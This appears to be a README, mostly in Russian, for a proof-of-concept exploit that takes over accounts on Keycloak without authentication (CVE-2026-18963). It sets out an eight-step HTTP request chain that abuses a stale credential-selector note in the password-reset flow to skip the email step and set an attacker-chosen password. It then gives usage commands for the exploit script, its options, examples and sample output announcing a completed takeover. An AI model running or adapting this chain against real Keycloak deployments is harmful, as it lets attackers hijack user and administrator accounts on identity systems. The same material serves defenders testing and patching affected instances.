1. GET  /realms/{realm}/protocol/openid-connect/auth
         → Установить OIDC-сеанс, извлечь ссылку «забыли пароль»

2. GET  /login-actions/reset-credentials?...
         → Загрузить форму сброса учётных данных

3. POST tryAnotherWay=on
         → Устанавливает заметку AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED (Ошибка 1)

4. POST username={цель}  →  форма выбора
         → Привязывает целевого пользователя к сеансу аутентификации, запускает шаг электронной почты

5. GET  /login-actions/restart?...
         → Необязательно: зеркалирование опроса сеанса браузера

6. GET  /login-actions/reset-credentials?...  (тот же URL, что и на шаге 2)
         → Устаревшая заметка выбора всё ещё присутствует → снова появляется выбор учётных данных

7. POST username={цель}  →  устаревший выбор
         → ResetCredentialEmail видит заметку, вызывает context.success() (Ошибка 2)
         → Процесс переходит напрямую к UPDATE_PASSWORD — письмо не отправляется

8. POST password-new={пароль_атакующего}
         → Учётная запись захвачена

python3 -m pip install requests

python3 exploit_cve_2026_18963.py \
    --url https://target.com \
    --realm master \
    --username [email protected] \
    --new-password NewPass123!

--url              Базовый URL Keycloak (обязательно)
--realm            Целевой realm (по умолчанию: master)
--username         Имя пользователя или email захватываемой учётной записи (обязательно)
--new-password     Пароль, устанавливаемый на целевой учётной записи (обязательно)
--client-id        OIDC client ID (по умолчанию: account)
--auth-prefix      auto | new | old
                     auto = определить автоматически (по умолчанию)
                     new  = /realms/...        (Keycloak >= 17)
                     old  = /auth/realms/...   (Keycloak < 17)
-v, --verbose      Вывести полный HTTP-трассировку
--skip-version-check

# Автоопределение старого/нового префикса URL Keycloak
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026!

# Принудительное использование устаревшего префикса /auth/ (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    --auth-prefix old

# Подробная HTTP-трассировка
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    -v

  CVE-2026-18963  |  Keycloak Unauthenticated Account Takeover
  User   : [email protected]

[Step 0] Detecting version & path prefix
[+] Path prefix: '/auth'  →  detected
[?] Version not detected — proceeding anyway.

  Target : https://sso.example.com/auth/realms/myrealm

[Step 1] Open reset-credentials form via OIDC forgot-password link
[+] OIDC session established
[+] Reset-credentials form loaded

[Step 2] POST tryAnotherWay=on  →  set selector note (Bug 1)
[+] Credential selector form received

[Step 3] POST username='[email protected]'  →  bind user, trigger email step
[+] Email step triggered — session polling URL found

[Step 4] GET session polling path (optional)

[Step 5] Re-visit forgot-password URL  →  get stale selector
[+] Stale credential selector form received

[Step 6] POST username to stale selector  →  trigger bypass (Bug 2)
[+] BYPASS SUCCESSFUL — update-password form received

[Step 7] Set new password

============================================================
  [+] SUCCESS — Account Takeover Complete
  [+] Target   : https://sso.example.com/auth/realms/myrealm
  [+] User     : [email protected]
  [+] Password : Pwn3d2026!
============================================================